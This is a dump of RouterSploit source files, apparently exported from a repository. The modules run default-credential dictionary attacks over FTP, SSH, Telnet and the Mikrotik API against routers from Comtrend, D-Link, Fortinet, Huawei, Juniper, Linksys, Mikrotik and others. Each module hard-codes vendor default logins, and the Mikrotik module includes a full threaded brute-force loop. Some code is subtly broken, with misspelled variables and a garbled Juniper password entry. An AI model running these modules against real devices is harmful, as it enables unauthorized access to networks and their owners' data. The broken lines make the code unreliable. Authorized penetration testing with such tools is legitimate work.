    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Comtrend Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Comtrend Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Comtrend Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/comtrend/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Comtrend Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Comtrend Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Comtrend Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or f ile with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/dlink/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"D-Link Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"D-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234,root:12345,root:root\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/dlink/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"D-Link Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"D-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234,root:12345,root:root\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/dlink/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"D-Link Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against D-Link Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"D-Link Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234,root:12345,root:root\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/fortinet/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/fortinet/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Fortinet Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Fortinet Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Fortinet Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,maintainer:bcpb+serial#,maintainer:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/fortinet/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Fortinet Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Fortinet Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Fortinet Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,maintainer:bcpb+serial#,maintainer:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/fortinet/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Fortinet Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Fortinet Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Fortinet Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,maintainer:bcpb+serial#,maintainer:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/huawei/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/huawei/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Huawei Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Huawei Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Huawei Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Targe IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:,Admin:admin,user:user,vodafone:vodafone,user:HuaweiUser,telecomadmin:admintelecom,root:admin,digicel:digicel\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/huawei/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Huawei Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Huawei Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Huawei Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Targe IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:,Admin:admin,user:user,vodafone:vodafone,user:HuaweiUser,telecomadmin:admintelecom,root:admin,digicel:digicel\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/huawei/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Huawei Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Huawei Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Huawei Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Targe IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:,Admin:admin,user:user,vodafone:vodafone,user:HuaweiUser,telecomadmin:admintelecom,root:admin,digicel:digicel\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ipfire/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/ipfire/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"IPFire Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against IPFire Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IPFire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:admin,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ipfire/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"IPFire Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against IPFire Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IPFire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:admin,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/ipfire/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"IPFire Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against IPFire Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"IPFire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,root:admin,admin:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/juniper/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/juniper/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Juniper Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Juniper Router FTP service. \"\n                       \"If valid credentials are foundm they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Juniper Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:abc123,super:juniper123,admin:<<< %s(un=\\'%s\\') = %u.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/juniper/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Juniper Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Juniper Router SSH service. \"\n                       \"If valid credentials are foundm they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Juniper Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:abc123,super:juniper123,admin:<<< %s(un='%s') = %u.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/juniper/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Juniper Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Juniper Router Telnet service. \"\n                       \"If valid credentials are foundm they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Juniper Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:abc123,super:juniper123,admin:<<< %s(un=\\'%s\\') = %u.\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/linksys/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/linksys/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Linksys Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Linksys Router FTP service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Linksys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:admin,linksys:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/linksys/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Linksys Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Linksys Router SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Linksys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:admin,linksys:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/linksys/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Linksys Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Linksys Router Telnet service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Linksys Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:admin,linksys:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/mikrotik/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/mikrotik/api_ros_default_creds.py",
    "content": "import socket\nimport ssl\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.tcp.tcp_client import TCPClient\nfrom routersploit.libs.apiros.apiros_client import ApiRosClient, LoginError\n\n\nclass Exploit(TCPClient):\n    __info__ = {\n        \"name\": \"Mikrotik Default Creds - API ROS\",\n        \"description\": \"Module performs dictionary attack against Mikrotik API and API-SSL. \"\n                       \"If valid credentials are found they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mikrotik Router\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(8728, \"Target API port\")\n\n    ssl = OptBool(False, \"Use SSL for API\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default creds attack\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Login\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def login(self, username, password):\n        try:\n            apiros = ApiRosClient(\n                address=self.target,\n                port=self.port,\n                user=username,\n                password=password,\n                use_ssl=self.ssl\n            )\n            apiros.open_socket()\n\n            output = apiros.login()\n\n            if output[0][0] == \"!done\":\n                print_success(\"Authentication Succeed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                apiros.close()\n                return True\n            else:\n                print_error(\"Unexpected Response - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbossity)\n\n        except LoginError:\n            apiros.close()\n            print_error(\"Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n        except ssl.SSLError:\n            apiros.close()\n            print_error(\"SSL Error, retrying...\")\n            return self.login(username, password)\n\n        apiros.close()\n        return False\n\n    def target_function(self, running, creds):\n        while running.is_set():\n            username = \"\"\n            passsword = \"\"\n            try:\n                username, password = creds.next().split(\":\", 1)\n                if self.login(username, password) and self.stop_on_success:\n                    running.clear()\n            except RuntimeError:\n                print_error(\"Connection closed by remote end\")\n                break\n\n            except socket.timeout:\n                print_error(\"Timeout waiting for the response\")\n                break\n\n            except StopIteration:\n                break\n\n    def check(self):\n        tcp_client = self.tcp_create()\n        if tcp_client.connect():\n            tcp_client.close()\n            return True\n\n        return False\n\n    def check_default(self):\n        self.credentials = []\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            return self.credentials\n"
  },
  {
    "path": "routersploit/modules/creds/routers/mikrotik/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Mikrotik Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Mikrotik Router FTP service.\"\n                       \"If valid credentials are found they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mikrotik Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/mikrotik/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Mikrotik Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Mikrotik Router SSH service.\"\n                       \"If valid credentials are found they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mikrotik Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/mikrotik/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Mikrotik Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Mikrotik Router Telnet service.\"\n                       \"If valid credentials are found they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Mikrotik Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/movistar/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/movistar/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Movistar Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Movistar Router FTP service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Movistar Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/movistar/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Movistar Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Movistar Router SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Movistar Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/movistar/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Movistar Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Movistar Router Telnet service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Movistar Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,1234:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netcore/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/netcore/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Netcore Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Netcore Router FTP service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netcore Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,guest:guest\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netcore/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Netcore Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Netcore Router SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netcore Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,guest:guest\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netcore/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Netcore Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Netcore Router Telnet service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Netcore Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,guest:guest\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/netgear/__init__.py",
    "content": ""
  },
  {
